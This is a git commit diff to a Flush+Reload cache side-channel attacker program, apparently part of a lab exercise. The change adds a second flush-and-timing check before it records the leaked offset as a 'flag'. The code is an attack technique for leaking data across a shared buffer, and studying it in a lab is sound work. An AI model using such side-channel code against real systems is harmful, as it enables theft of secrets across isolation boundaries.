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part2 ver 0.6.0 double check

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ClF3 2024-11-05 09:55:32 +08:00
parent b071a46b79
commit fb2a2ba698
1 changed files with 9 additions and 3 deletions
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12
Part2-FlushReload/attacker.c
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@ -18,6 +18,7 @@ int main() {
int index = -1; int index = -1;
int flag = -1; int flag = -1;
CYCLES time = -1; CYCLES time = -1;
CYCLES new_time = -1;
int offset = 0; int offset = 0;
int new_offset = 0; int new_offset = 0;
// buf is shared between the attacker and the victim // buf is shared between the attacker and the victim
@ -38,9 +39,14 @@ int main() {
} }
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) { if(time < CACHE_HIT_THRESHOLD) {
flag = offset; clflush((ADDR_PTR)buf + offset * 128);
index = i; for(int i = 0; i < WAIT_TIME; i++);
break; new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
}
} }
} }
printf("Flag: %d\n", flag); printf("Flag: %d\n", flag);